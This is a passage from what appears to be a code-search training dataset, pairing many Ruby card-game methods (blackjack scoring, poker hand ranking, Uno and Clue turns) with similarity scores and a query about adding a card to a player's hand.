risk_it(trick,choices,6)\n else\n return risk_it(trick,choices,JACK)\n end\n else\n return risk_it(trick,choices)\n end\n else\n return play_safe(trick,choices)\n end\n else\n if trick.number < 6\n if trick.suit == HEARTS\n return risk_it(trick,choices,5)\n elsif trick.suit == SPADES\n if trick.points?\n return risk_it(trick,choices,6)\n else\n return risk_it(trick,choices,JACK)\n end\n else\n if trick.points?\n return risk_it(trick,choices,7)\n else\n return risk_it(trick,choices,JACK)\n end\n end\n else\n return play_safe(trick,choices)\n end\n end\n end\n end\n end", "def get_winning_player\n # if one player has all the cards\n players.map{|p| @winning_player = p if p.num_cards_remaining == Deck.num_cards}\n\n # if that's not the case, take the player with the highest number of cards\n if @winning_player.blank?\n @winning_player = CardFuncs::player_with_highest_card_count players\n end\n @winning_player\n end", "def detect_result(dealer_cards, player_cards)\n player_total = card_total(player_cards)\n dealer_total = card_total(dealer_cards)\n\n if player_total > TARGET_NUMBER\n :player_busted\n elsif dealer_total > TARGET_NUMBER\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def detect_result(dealer_cards, player_cards)\r\n player_total = total(player_cards)\r\n dealer_total = total(dealer_cards)\r\n\r\n if player_total > HAND_LIMIT\r\n :player_busted\r\n elsif dealer_total > HAND_LIMIT\r\n :dealer_busted\r\n elsif dealer_total < player_total\r\n :player\r\n elsif dealer_total > player_total\r\n :dealer\r\n else\r\n :tie\r\n end\r\nend", "def getValue(rank)\n\tif /\\d/.match(rank)\n\t\treturn rank.to_i\n\telsif rank == 'Ace'\n\t\treturn 11\n\telse\n\t\treturn 10\n\tend\nend", "def get_chosen_card(player, match_card, deck)\n begin\n puts 'Enter colour (R, B, Y, G) followed by a number(0-9) - Eg to play a Red 7, enter R7'\n puts 'Or, R, B, Y, G followed by R-Reverse, S-Skip or P2-Pickup 2 - Eg to play a Green Pickup 2, enter GP2'\n puts 'Enter WC for Wild Card, WP4 for Wild Pickup 4 '\n puts 'Enter D to pick up from the deck'\n puts 'What would you like to play? '\n option = gets.downcase\n color = option[0]\n number = option[1, 2].strip\n color = validate_color(color)\n if color == 'Draw'\n player.cards << deck.take_card\n return false\n end\n number = validate_number(number)\n chosen_card = validate_card_in_hand(color, number, player)\n validate_card_matches_discard(color, number, match_card)\n rescue InvalidColorError => e\n puts e.message\n retry\n rescue InvalidNumberError => e\n puts e.message\n retry\n rescue InvalidCardInHandError => e\n puts e.message\n retry\n rescue InvalidCardMatchError => e\n puts e.message\n retry\n end\n chosen_card\n end", "def receiveInfo(playerIndex, card)\n\t\t#if no one could answer\n\t\tif(playerIndex == -1 && card == nil)\n\t\t\t#then the guess was correct \n\t\t\t@isCorrect = true\n\t\t\tputs \"No one could answer\"\n\t\telse\n\t\t\t#otherwise show this player a card the refute their guess\n\t\t\tputs \"Player #{playerIndex} showed Player #{@myIndex} a card\"\n\n\t\t\t#and delete the card they were shown for the not seen list\n\t\t\tif card.person?\n\t\t\t\t@suspectsNotSeen.delete(card)\n\t\t\telsif card.place?\n\t\t\t\t@locationsNotSeen.delete(card)\n\t\t\telse\n\t\t\t\t@weaponsNotSeen.delete(card)\n\t\t\tend\n\t\tend\n\tend", "def rank(input, name: nil)\n _op(:rank, input, name: name)\n end", "def detect_result(dealer_cards, player_cards)\n player_total = total(player_cards)\n dealer_total = total(dealer_cards)\n\n if player_total > GAME_MAX_TOTAL\n :player_busted\n elsif dealer_total > GAME_MAX_TOTAL\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def request_pass(player,direction)\n sort_hand_by_rank!\n @cards.slice(0...3)\n end", "def get_discard\n\t\tputs \"#{name}, what cards do you wish to discard?\" \n\t\t@hand.render\n\t\tputs \"Choose up to 3 (EX: 1 4). Press enter if you don't want to discard any.\"\n\t\tbegin\n\t\t\tinput = gets.chomp\n\t\t\traise BadInputError unless input.split.size <= 3 && input.split.all? do |num| \n\t\t\t\tnum =~ /^[1-5]$/\n\t\t\tend\n\t\trescue\n\t\t\tputs \"You must enter in numbers b/t 1 to 5 separated by spaces.\"\n\t\t\tretry\n\t\tend\n\t\t\n\t\tinput.split.map(&:to_i).map{ |i| i - 1 }\n\tend", "def highest_card?\n single_cards = Array.new(5, -1)\n single_count = 0\n (12).downto(0) do |i|\n if @ranks[i] == 1 and single_count < 5\n single_cards[single_count] = i\n single_count += 1\n end\n end\n return [1] + single_cards\n end", "def ranking(opts={})\r\n Rakuten::Request.get(\"https://app.rakuten.co.jp/services/api/IchibaItem/Ranking/20120927\", Rakuten::Api.merge(opts))\r\n end", "def rank\n return @rank\n end", "def get_access_rank\n guest_user_rank = 4\n user = get_user()\n if user != nil\n current_user = User.find_by user_id: \"#{user}\"\n user_rank = current_user.access_rank\n\n #Handler if user access rank missing\n if user_rank === nil\n flash[:notice] = \"Problem getting user access level.\n Please contact site administrator.\"\n user_rank = guest_user_rank\n end\n\n user_rank\n\n else\n user_rank = guest_user_rank\n end\n end", "def detect_result(dealer_cards, player_cards)\n player_total = total(player_cards)\n dealer_total = total(dealer_cards)\n\n if player_total > WINNING_TOTAL\n :player_busted\n elsif dealer_total > WINNING_TOTAL\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def rank\n unless player.nil?\n series.rank_of player\n else\n 0\n end\n end", "def runner\n welcome\n user_hand = initial_round\n prompt_user\n hit_or_stay = get_user_input\n if hit_or_stay == 's'\n prompt_user\n hit_or_stay = get_user_input\n if hit_or_stay == 's'\n return display_card_total(user_hand)\n end\n end\n if hit_or_stay == 'h'\n new_card = deal_card\n user_hand += new_card\n display_card_total(user_hand)\n end\n until user_hand > 21\n user_hand = hit?(user_hand)\n end\n end_game(user_hand)\nend", "def take_turn(player)\n p player.render_hand\n #render their hand\n p \"Which cards do you want to discard? (first, second..etc) i.e. '1,2' If none, reply 'none'\"\n discarded_cards = gets.chomp\n indices = parse(discarded_cards)\n discard(indices, player)\n #promt for how many new cards? => quantity\n #rerender the hand\n #promt for fold?\n #prompt them for a bet.. show their current bet\n end", "def ranked\n Account.find(self.ranked_id)\n end", "def rank_for_print\n rank_print = @rank\n case @rank\n when :A then rank_print = \"Ace\"\n when :K then rank_print = \"King\"\n when :Q then rank_print = \"Queen\"\n when :J then rank_print = \"Jack\"\n end\n rank_print\n end", "def player_round (player_cards, dealer_cards, player_total, player_name, deck)\n # display the first round of cards, only show dealer's top card\n puts \"Welcome, #{player_name}!\"\n puts \"Dealer has: #{dealer_cards[0]} and #{dealer_cards[1]}\"\n puts \"You have: #{player_cards[0]} and #{player_cards[1]}\"\n player_total = total(player_cards, player_total)\n if blackjack(player_total) != true\n puts \"Your total is #{player_total}, would you like to hit or stay? (hit or stay response only allowed)\"\n # add validation for this\n hit_stay = gets.chomp.downcase\n while hit_stay == \"hit\"\n player_cards << deal_cards(1,deck)\n # IMPORTANT: WHY IS EXTRA LAST NECESSARY HERE, EXTRA BLANK ARRAY?\n value_string = player_cards.last.last[1]\n puts \"You've been dealt a #{value_string}.\"\n player_total += get_int_value(value_string, player_total)\n if player_total < 21\n puts \"Your total is now #{player_total}, would you like to hit or stay?\"\n hit_stay = gets.chomp.downcase\n elsif player_total > 21\n hit_stay = \"bust\"\n else\n hit_stay = \"blackjack\"\n end\n end\n end\n player_total\nend", "def identify\n \n return if @value > 0 # no need to do it twice!\n return if @cards.size < 5 # need at least 5 cards\n \n @cards.sort!\n \n #puts \"@total_face_value = #{@total_face_value}\"\n \n if is_flush? then \n #puts 'have a flush of some kind...' \n \n if @total_face_value == 60 then\n #puts \"it's a royal flush!\"\n @rank = ROYAL_FLUSH\n @value = @cards.max.face_value\n return\n end\n \n if is_straight? then\n #puts \"it's straight flush!\"\n @rank = STRAIGHT_FLUSH\n @value = @cards.max.face_value\n return\n end\n \n #puts \"it's a regular flush!\"\n @rank = FLUSH\n @value = @cards.max.face_value\n return\n end\n \n #puts 'not a flush'\n \n if is_straight? then\n #puts \"it's a straight!\"\n @rank = STRAIGHT\n @value = @cards.max.face_value\n return\n end\n \n # look for pairs\n (pairs, @unpaired_cards) = find_pairs()\n if pairs.empty? then\n # high card!\n #puts \"high card \" + high_card.to_s\n @rank = HIGH_CARD\n @value = @cards.max.face_value\n return\n end\n \n if pairs.size == 1 then\n paired_cards = pairs[0].size\n @value = pairs[0].max.face_value\n if paired_cards == 2 then\n #puts \"it's a single pair!\"\n @rank = PAIR\n elsif paired_cards == 3 then\n #puts \"it's a three of a kind!\"\n @rank = THREE_KIND\n elsif paired_cards == 4 then\n @rank = FOUR_KIND\n end\n return\n \n elsif pairs.size == 2 then\n paired_cards = pairs[0].size + pairs[1].size\n a = pairs[0].max.face_value\n b = pairs[1].max.face_value\n if a > b then\n @value = a\n elsif b > a then\n @value = b\n else\n # should never happen since it means the\n # pairs are of the same face value\n # e.g., two pairs of 6s\n @value = a\n end\n if paired_cards == 4 then\n #puts \"it's two pair!\"\n @rank = TWO_PAIR\n elsif paired_cards == 5 then\n #puts \"it's a full house!\"\n @rank = FULL_HOUSE\n # add faces of each pair for value\n if a > b then\n @value = a * 100 + b\n elsif b > a then\n @value = b * 100 + a\n end\n end\n return\n \n end\n \n # should never get here\n raise \"oh no, should never have come to this!\"\n \n end", "def find_same_rank(givencard)\n result = []\n for card in @cards do\n result << card if card.same_rank?(givencard)\n end\n return result\n end", "def check_rank_available(response, skill, join)\n if join && (join.ranks == skill.ranks_available)\n response[:status] = false\n response[:messages] << 'You have already achieved the maximum rank for this skill'\n false\n else\n true\n end\n end", "def high_ranking_cards\n\n array_high_cards = []\n\n cards.each do |card|\n\n if card.rank >= 11\n array_high_cards << card\n end\n\n end\n\n array_high_cards\n\n end", "def find_same_rank_not_wild(givencard)\n result = []\n for card in @cards do\n if card.same_rank?(givencard) && (!card.wild?)\n result << card\n end \n end\n return result\n end", "def get_requested_amount(type)\n request = prompt_user(\"How much would you like to #{type}?\").to_i\n while request <= 0\n request = prompt_user(\"Please enter an amount greater than $0.\").to_i\n end\n request.to_i\nend", "def rank\n fetch('games.league_of_legends.rank')\n end", "def ask_user_guess (total_games = 3)\n puts \"Please guess a nunmber between 1 and 10!\"\n user_guess = gets\n user_guess = user_guess.chomp.to_i\n if user_guess == secret_number\n puts \"That's correct! Congratulations!!! Game over!\"\n elsif\n user_guess > secret_number\n total_games = total_games -1\n \tif total_games > 0\n \t puts \"Too high! Guess again! You have #{total_games} games left\"\n \t ask_user_guess(total_games)\n \telse\n \t puts \"Sorry, no more guesses. The correct answer was 3. Game over!\"\n \tend\n else\n total_games = total_games -1\n \tif total_games > 0\n puts \"Too low! Guess again You have #{total_games} games left\"\n \t ask_user_guess(total_games)\n \telse\n \t puts \"Sorry, no more guesses. The correct answer was 3. Game over!\"\n \tend\n end\nend", "def get_rank\n hash = Hash[UserGame.for_game(self.game.id).by_portfolio_value.map.with_index.to_a]\n if hash[self] == 0\n return 1\n else\n x = hash[self]\n while x > 0 && hash.key(x).get_portfolio == hash.key(x-1).get_portfolio\n x -= 1\n end\n return x + 1\n end\n end", "def canAnswer(playerIndex, guess)\n \n cardFound = nil\n\n for i in 0...@cardsInHand.length\n if( @cardsInHand[i].type() == :person )\n if(guess.person.value == @cardsInHand[i].value())\n cardFound = @cardsInHand[i]\n end\n elsif( @cardsInHand[i].type() == :place )\n if(guess.place.value == @cardsInHand[i].value())\n cardFound = @cardsInHand[i]\n end\n elsif( @cardsInHand[i].type() == :weapon )\n if(guess.weapon.value == @cardsInHand[i].value())\n cardFound = @cardsInHand[i]\n end\n end #if\n end #for\n \n #if(cardFound != nil)\n puts \"Asking player #{@indexOfCurrentPlayer}. \"\n #end\n \n return cardFound\n \n end", "def runner\n welcome #welcomes player \n cardtotal = initial_round #stores the two cards from the first dealing\n until cardtotal > 21 #until their card total is greater than 21\n cardtotal = hit?(cardtotal) #set the new card total equal to the player's decision\n display_card_total(cardtotal)\n if cardtotal == 21\n puts \"You cards add up to #{cardtotal}! Blackjack!\"\n return\n end\n end\n end_game(cardtotal) #ends the game and returns player's cardtotal\nend", "def blackjack_score(hand)\n allowed_cards = %w[ 2 3 4 5 6 7 8 9 10 Jack Queen King Ace ]\n\n# Validate input\n if hand.length > 5\n raise ArgumentError.new(\"Your hand contains more than 5 cards.\")\n end \n\n result = hand.all? {|card| allowed_cards.include?(card)}\n if !result\n raise ArgumentError.new(\"Invalid card value.\")\n end \n\n# Calculate score \n score = 0\n hand.each do |card|\n if card.length <= 2\n points = card.to_i\n score += points\n elsif card.length == 3 \n score += 1\n else \n score += 10 \n end \n end\n\n if score <= 11 && hand.include?(\"Ace\")\n score += 10\n end\n\n# Validate result\n if score > 21\n raise ArgumentError.new(\"#{score} is greater than 21, you lose!\")\n end\n\n return score \nend", "def rank\n\t\t\t(const_defined?('Rank')) ? const_get('Rank') : NormalRanking\n\t\tend", "def rank_of_candidate(candidate_id)\n @ranking.each_index do |rank|\n return rank if Array(@ranking[rank]).include?(candidate_id) \n end\n return default_rank\n end", "def take_turn\n turn_over = false\n until turn_over\n last_rank = ask_for_cards_until_go_fish_and_get_last_requested_rank\n\n end\n player.lay_down_books\n end", "def human_can_not_play(player, deck)\n puts \"#{player.name} has no possible cards to play\"\n puts 'Press enter to pick up from deck'\n gets.chomp\n player.cards << deck.take_card\n return \"drew a card\"\n end", "def runner\n welcome\n users_hand = initial_round\n card_total = users_hand\n \n until card_total >= 21\n card_total = hit?(card_total)\n display_card_total(card_total)\nend \nend_game(card_total)\nend", "def get_current_winner\r\n if self.rank_one == nil\r\n return nil\r\n else\r\n return rank_one.owner\r\n end\r\n end", "def rank\n return inv + neg + nsp\n end", "def check\n url = \"#{toolbar_url}?\" + params.collect {|k,v| \"#{k}=#{v}\"}.join(\"&\")\n res = HTTParty.get(url, :headers => {\"User-Agent\" => \"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)\" }, :format => :raw)\n res.to_s.match(/Rank_\\d+:\\d+:(\\d+)/) ? $1.to_i : nil\n end", "def winner\n\t\tbest_for_1 = best_hand(@hand1)\n\t\tbest_for_2 = best_hand(@hand2)\n\t\tcase best_for_1[:rank] <=> best_for_2[:rank]\n\t\t\twhen -1 then 2\n\t\t\twhen 1 then 1\n\t\t\twhen 0 then check_kicker(best_for_1, best_for_2)\n\t\tend\n\tend", "def detect_result(dealer_cards_total, player_cards_total)\n if player_cards_total > WINNING_NUMBER\n :player_busted\n elsif dealer_cards_total > WINNING_NUMBER\n :dealer_busted\n elsif dealer_cards_total < player_cards_total\n :player\n elsif dealer_cards_total > player_cards_total\n :dealer\n else\n :tie\n end\nend", "def detect_result(dealer_cards, player_cards)\n player_total = total(player_cards)\n dealer_total = total(dealer_cards)\n\n if player_total > BREAK_POINT\n :player_busted\n elsif dealer_total > BREAK_POINT\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def detect_result(dealer_cards, player_cards)\n player_total = total(player_cards)\n dealer_total = total(dealer_cards)\n\n if player_total > BREAK_POINT\n :player_busted\n elsif dealer_total > BREAK_POINT\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def <=> card\n if rank_of_kind > card.rank_of_kind\n return 1\n end\n if rank_of_kind < card.rank_of_kind\n return -1\n end\n if rank_of_suit > card.rank_of_suit\n return 1\n end\n if rank_of_suit < card.rank_of_suit\n return -1\n end\n if rank_of_suit == card.rank_of_suit\n notify_observers_fraud card.to_string\n #return 0 # should not happen in a single-pack card game!\n end\n end", "def detect_result(dealer_cards, player_cards)\n player_total = total(player_cards)\n dealer_total = total(dealer_cards)\n\n if player_total > WINNING_VALUE\n :player_busted\n elsif dealer_total > WINNING_VALUE\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def get_user_cards\n\tloop do\n\t\tprint \"\\nEnter your set or type 'help': \"\n\t\tcase user_array = gets.chomp.downcase.split(\",\")\n\t\twhen [\"help\"]\n\t\t\tsystem('clear'); system('cls')\n\t\t\tputs \"Command list:\" +\n\t\t\t\"\\n\\thelp\\tRedisplay this help menu.\" +\n\t\t\t\"\\n\\thint\\tDisplay a correct set. Removes one hint from the hint counter.\" +\n\t\t\t\"\\n\\tquit\\tQuit to main menu without saving.\" +\n\t\t\t\"\\n\\tsave\\tSave the game. Game continues.\" +\n\t\t\t\"\\n\\tshow\\tRedisplay the current hand. Useful if screen is full.\"\n\t\t\tputs \"Valid set:\" +\n\t\t\t\"\\n\\tInteger,Integer,Integer\" +\n\t\t\t\"\\n\\tInteger must be between min and max card number in hand to be valid.\"\n\t\t\tputs \"\\nHit enter to continue.\"\n\t\t\tgets\n\t\t\tshow_hand\n\t\twhen [\"hint\"]\n\t\t\tputs get_hint # returns hint (+ number left) or \"No more hints available.\"\n\t\twhen [\"quit\"]\n\t\t\t# setting up conditions to allow for quiting\n\t\t\t@top_card = 81\n\t\t\t@hand = []\n\t\t\treturn [\"quit\"]\n\t\twhen [\"save\"]\n\t\t\tsave_game\n\t\twhen [\"show\"]\n\t\t\tshow_hand\n\t\telse\n\t\t\tif good_set_syntax? user_array\n\t\t\t\t# return user defined set in ascending card order\n\t\t\t\treturn user_array.map {|card_num| card_num.to_i}.sort\n\t\t\tend\n\t\t\tputs \"Invalid command or set syntax.\"\n\t\tend\n\tend\nend", "def winner\n\n if type == :basic\n if @player_1.deck.cards[0].rank > @player_2.deck.cards[0].rank\n return @player_1\n else\n return @player_2\n end\n elsif type == :mutually_assured_destruction\n return \"No winner.\"\n elsif type == :war\n if @player_1.deck.cards[2].rank > @player_2.deck.cards[2].rank\n return @player_1\n else\n return @player_2\n end\n end\n end", "def determine_dealers_best_total\n # @dealer_hand = ['ace of spades', '5 of spades', '4 of spades', 'ace of diamonds']\n # @player1_hand = ['3 of spades', 'ace of hearts', '4 of spades', 'ace of clubs']\n # @player1_hand = ['ace of clubs', '2 of clubs', 'ace of hearts', '4 of hearts']\n # @dealer_hand = ['king of hearts', '6 of diamonds']\n sum_of_dealers_hand = 0\n number_of_aces_in_hand = 0\n @dealer_hand.each {|x| # begin loop adding dealers hand\n card_value = @deckhash.fetch(x)\n\n if card_value == 1 then # adjust aces to a value of 11\n card_value = 11\n number_of_aces_in_hand = number_of_aces_in_hand + 1\n end\n sum_of_dealers_hand = sum_of_dealers_hand + card_value\n\n } #end of loop adding dealers hand\n\n if sum_of_dealers_hand > 21 then # must set one or more aces back to one\n loop do\n if number_of_aces_in_hand == 0 then break end\n sum_of_dealers_hand = sum_of_dealers_hand - 10\n if sum_of_dealers_hand < 22 then break end\n number_of_aces_in_hand = number_of_aces_in_hand - 1\n end #end of loop do\n end #end of sum_of_dealers_hand > 21\n\n # $stdout.write(\"Showing card and value #{sum_of_dealers_hand}, #{number_of_aces_in_hand} \\n\")\n # ### this method returns of the dealer's best hand'\n\n sum_of_dealers_hand = sum_of_dealers_hand + 0\n\n end", "def find_winner()\n\t\tingame_players = 0\n\t\tlast_cards = []\n\n\t\t#puts \"In find winner method\"\n\t\tputs to_s\n\n\t\t@players.each do |player|\n\t\t\n\n\t\t\tif !player.is_fold\n\t\t\t\tlast_cards << player.get_cards\n\t\t\t\t\n\t\t\tend\n\n\t\tend\n\t\t@players.each do |player|\n\t\t\t\n\n\t\t\tif !player.is_fold\n\t\t\t\t\n\t\t\t\tputs\n\t\t\t\tplayer.increase_game\n\t\t\t\t#i = last_cards.index(player.get_cards)\n\t\t\t\t#last_cards.insert(0, last_cards.delete_at(i)) \n\t\t\t\tcards_of_players = \"#{last_cards.join(\"\")}\"\n\t\t\t\t#puts \"Order of cards: \" + cards_in_order\n\t\t\t\t#puts \"get cards: \" + get_cards\n\t\t\t\twinner = @pokeroddsproxy.get_winnercards(cards_of_players, get_cards)\n\t\t\t\t#odds = @pokeroddsproxy.get_odds(cards_in_order, get_cards, ingame_players)\n\t\t\t\t#puts odds\n\n\t\t\t\tif winner == player.get_cards #If winner's cards are same with the player\n\t\t\t\t\tputs \"#{player.get_name} is the winner\"\n\t\t\t\t\tplayer.addmoney(@pot)\n\t\t\t\t\tplayer.increase_win\n\t\t\t\telse\n\t\t\t\t\tputs \"#{player.get_name} is the loser\"\n\t\t\t\t\tplayer.increase_lose\n\t\t\t\tend\n\n\t\t\tend\n\n\t\tend\n\n\tend", "def poll\n \t# deck = Deck.find(params[:id])\n \t# # Then find the card\n \t# # FIXME fix it later, now focus on the valid functionality\n # # TODO Now I need to add the state field to the model\n # # IDEA This is for you to write ideas\n # # NOTE This is for you to know the notes\n # # For now just use a string for what we need.\n \t# @card = deck.cards.find_by(state: 'AGAIN')\n \t# if !@card\n \t# \t@card = deck.cards.find_by(state: 'GOOD')\n \t# end\n \t# if !@card\n \t# \t@card = deck.cards.find_by(state: 'EASY')\n \t# end\n \t# Now I've got the card\n \t# Find the deck with the most urgent cards, find the most recent date of modification\n if request.get?\n # debugger\n # byebug\n # raise\n @card = poll_a_new_card(params[:id])\n elsif request.post?\n next_poll\n # if all cards are marked easy, round is finished.\n end\n end", "def oldrank?(prog); @oldranks.include?(prog); end", "def determine_players_best_total(current_player)\n # @player1_hand = ['ace of spades', '5 of spades', '4 of spades', 'ace of diamonds']\n # @player1_hand = ['3 of spades', 'ace of hearts', '4 of spades', 'ace of clubs']\n # @player1_hand = ['ace of clubs', '2 of clubs', 'ace of hearts', '4 of hearts']\n sum_of_players_hand = 0\n number_of_aces_in_hand = 0\n if current_player == 1 then\n @player1_hand.each {|x| #begin loop adding players hand\n card_value = @deckhash.fetch(x)\n if card_value == 1 then #adjust aces to a value of 11\n card_value = 11\n number_of_aces_in_hand = number_of_aces_in_hand + 1\n end #end of ace adjustment\n sum_of_players_hand = sum_of_players_hand + card_value\n } #end of loop adding players hand\n\n if sum_of_players_hand > 21 then #must set one or more aces back to one\n loop do\n if number_of_aces_in_hand == 0 then break end\n\n sum_of_players_hand = sum_of_players_hand - 10\n\n if sum_of_players_hand < 22 then break end\n number_of_aces_in_hand = number_of_aces_in_hand - 1\n end #end of loop do\n end #end of sum_of_players_hand > 21\n end #end if current player = 1\n\n if current_player == 2 then\n @player2_hand.each {|x| #begin loop adding players hand\n card_value = @deckhash.fetch(x)\n if card_value == 1 then #adjust aces to a value of 11\n card_value = 11\n number_of_aces_in_hand = number_of_aces_in_hand + 1\n end #end of ace adjustment\n sum_of_players_hand = sum_of_players_hand + card_value\n } #end of loop adding players hand\n if sum_of_players_hand > 21 then #must set one or more aces back to one\n loop do\n if number_of_aces_in_hand == 0 then break end\n sum_of_players_hand = sum_of_players_hand - 10\n $stdout.write(\"sum of players hand #{sum_of_players_hand} :\")\n if sum_of_players_hand < 22 then break end\n number_of_aces_in_hand = number_of_aces_in_hand - 1\n end #end of loop do\n end #end of sum_of_players_hand > 21\n end #end if current player = 2\n\n if current_player == 3 then\n @player3_hand.each {|x| #begin loop adding players hand\n card_value = @deckhash.fetch(x)\n if card_value == 1 then #adjust aces to a value of 11\n card_value = 11\n number_of_aces_in_hand = number_of_aces_in_hand + 1\n end #end of ace adjustment\n sum_of_players_hand = sum_of_players_hand + card_value\n } #end of loop adding players hand\n if sum_of_players_hand > 21 then #must set one or more aces back to one\n loop do\n if number_of_aces_in_hand == 0 then break end\n sum_of_players_hand = sum_of_players_hand - 10\n# $stdout.write(\"sum of players hand #{sum_of_players_hand} :\")\n if sum_of_players_hand < 22 then break end\n number_of_aces_in_hand = number_of_aces_in_hand - 1\n end #end of loop do\n end #end of sum_of_players_hand > 21\n end #end if current player = 3\n\n if current_player == 4 then\n @player4_hand.each {|x| #begin loop adding players hand\n card_value = @deckhash.fetch(x)\n if card_value == 1 then #adjust aces to a value of 11\n card_value = 11\n number_of_aces_in_hand = number_of_aces_in_hand + 1\n end #end of ace adjustment\n sum_of_players_hand = sum_of_players_hand + card_value\n } #end of loop adding players hand\n if sum_of_players_hand > 21 then #must set one or more aces back to one\n loop do\n if number_of_aces_in_hand == 0 then break end\n sum_of_players_hand = sum_of_players_hand - 10\n# $stdout.write(\"sum of players hand #{sum_of_players_hand} :\")\n if sum_of_players_hand < 22 then break end\n number_of_aces_in_hand = number_of_aces_in_hand - 1\n end #end of loop do\n end #end of sum_of_players_hand > 21\n end #end if current player = 4\n # ### This method returns sum of player's best hand\n return sum_of_players_hand\n end", "def active_rank(student, rank)\n \treturn student.ranks.include?(rank)\n\tend", "def hit?(card_total)\n prompt_user\n input = get_user_input\n if input == \"h\"\n return card_total += deal_card\n elsif input == \"s\"\n return card_total\n elsif input != \"h\" || get_user_input != \"s\"\n puts \"Please enter a valid command\"\nend\nend", "def rank(rank_name)\n ranks_dataset.first(Name: rank_name.capitalize)\n end", "def initialize(card)\n @card = card #TODO: change this to @rank\n end", "def get_reindeer_ranking\n return @reindeer_ranking\n end", "def anonymous_rank(entry_id, rank)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\tclient.add_param(kparams, 'rank', rank);\n\t\t\tclient.queue_service_action_call('mixing', 'anonymousRank', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend", "def rank_rr\n\t\trank = 0\n\t\tfor i in 0..(@num_rows-1)\n\t\t\tif @rows[i].bits == 0\n\t\t\t\treturn rank\n\t\t\telse\n\t\t\t\trank += 1\n\t\t\tend\n\t\tend\n\t\trank\n\tend", "def prompt_id_request()\n print \"Please enter a champion ID: \"\n id_request = gets.to_i\n while id_request <= 0\n puts \"Invalid ID. Please enter a champion ID: \"\n id_request = gets.to_i\n end\n return id_request\nend" ]
[ "0.6651997", "0.6469888", "0.63968843", "0.63383466", "0.6257167", "0.6227293", "0.6101071", "0.6099209", "0.602198", "0.6011953", "0.5976888", "0.59071684", "0.5869691", "0.5789175", "0.5785682", "0.572977", "0.5724424", "0.5667923", "0.5659634", "0.56245595", "0.5622125", "0.56216747", "0.55971885", "0.5541293", "0.55337787", "0.55267936", "0.54901147", "0.5489176", "0.54882497", "0.54847056", "0.5477768", "0.5458572", "0.54520446", "0.5445329", "0.5430612", "0.54093707", "0.5398104", "0.5395801", "0.53896034", "0.53894085", "0.53836817", "0.5377389", "0.5365238", "0.5362277", "0.5342779", "0.5339918", "0.53372693", "0.53351593", "0.5324852", "0.53209555", "0.5298073", "0.5297416", "0.5289355", "0.5287495", "0.5281461", "0.5276077", "0.527428", "0.52707505", "0.5267821", "0.526349", "0.5260089", "0.52591956", "0.5258592", "0.5252626", "0.52357227", "0.52307826", "0.52195513", "0.52180284", "0.5208694", "0.52075183", "0.52003473", "0.51997584", "0.5192515", "0.5189084", "0.51873195", "0.51846224", "0.5184437", "0.5184328", "0.51822925", "0.5177106", "0.5174588", "0.5173377", "0.5173377", "0.517232", "0.51704574", "0.516757", "0.5162668", "0.51563054", "0.5146517", "0.51450366", "0.51404506", "0.5137869", "0.51375216", "0.5135164", "0.513494", "0.5127986", "0.5127249", "0.5123378", "0.5119712", "0.51196015" ]
0.78995335
0
Adds a card to the player's hand. Announces it to other players, but doesn't show what card got added
def add_card_without_revealing_details(card) player.add_card_to_hand(card) message = "#{player.name} drew a card from the center." game.players.each {|player| player.send_message_to_user(message)} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_card(card)\n @addhand = @addhand + card\n end", "def addCardToHand(card)\n @hand << card\n end", "def add(card)\n\t\t@hand_contents.push(card)\n\tend", "def addCard(card)\n \tif @can_get_cards\n \t @cards.push(card)\n else\n raise ArgumentError, \"Cards cannot be added to this hand anymore.\"\n \tend\n end", "def add_card(new_card)\n self.cards.append(new_card)\n end", "def draw_card(card)\r\n\t\thand.add_card(card)\r\n\tend", "def add_card_to_hand(curr_hand)\n curr_hand.push(get_rand_card)\n end", "def add_card card\n card.deck = self\n @cards[card.id] = card\n end", "def add_card(card)\n @deck.add(card, :back)\n end", "def addCardsToHand(cards)\n @hand.concat(cards)\n end", "def player_deal_card\n player.add_card(deck.deal_card)\n player.add_card(deck.deal_card)\n player.show_hand\n end", "def add_card(card)\n @cards << card\n end", "def add_card(card)\n @cards << card\n end", "def add_card(card)\n \t@cards << card\n end", "def add_cards_to_deck(card)\n @game_deck.deck << card\n end", "def add_card(card)\n @cards.push(card)\n end", "def add_card(new_card)\n cards.push(new_card)\n end", "def add card\r\n # Unlucky for some !\r\n # Sometimes Moody Players won't play.\r\n if rand(40)==13\r\n puts \"Moody player didn't play!\"\r\n else\r\n @card_list.add card\r\n end\r\n end", "def add_to_hand(card)\n # add the new card to each \"hand\"\n @values = @values.map { |val| val + card.rank }\n\n # change accordngly if there is an ace\n update_for_ace if card.rank.eql?(1)\n\n @cards.push(card)\n end", "def add_card(card)\n @cards.push\n end", "def add card\r\n @card_list.add card\r\n end", "def get_card(card)\n @hand.append(card)\n end", "def add card\n if card.is_a? Card\n @hand.push card\n else\n @hand.push Card.new(card)\n end\n\n @analysis = analyse @hand\n end", "def give_card_to_player(card,player)\n\t\t#player is another player object\n\t\t@cards[card].times do\n\t\t\tplayer.add_card(card)\n\t\tend\n\n\n\t\t#remove cards from hand if selected by another player\n\t\tself.remove_set_from_hand(card)\n\tend", "def add card\n @card_list.add card\n end", "def add card\n @card_list.add card\n end", "def add card\n @card_list.add card\n end", "def receive_card(a_card)\n @cards_in_hand << a_card\n end", "def addCard(givenCard)\n \tcards_users.create(card_id: givenCard.id, is_shared: false)\n end", "def add_card(c)\n @cards_showing.push(c)\n @table_size += 1\n end", "def take_card(card)\n @cards << card\n end", "def 